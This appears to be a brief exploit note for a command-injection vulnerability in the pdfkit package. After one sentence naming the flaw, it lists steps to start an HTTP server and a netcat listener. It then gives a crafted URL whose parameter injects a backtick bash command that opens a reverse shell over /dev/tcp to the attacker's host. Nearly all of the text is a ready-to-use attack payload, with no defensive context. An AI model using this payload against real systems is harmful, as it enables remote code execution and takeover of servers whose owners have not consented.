The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.
1- python3 -m http.server 80
2- nc -lnvp 'Target Port'
3- http://"TARGET_ADDRESS:Target PORT"//?name=#{'%20`bash -c 'exec bash -i &>/dev/tcp/"Target_ADRESS/LISTENING_PORT"<&1'`'}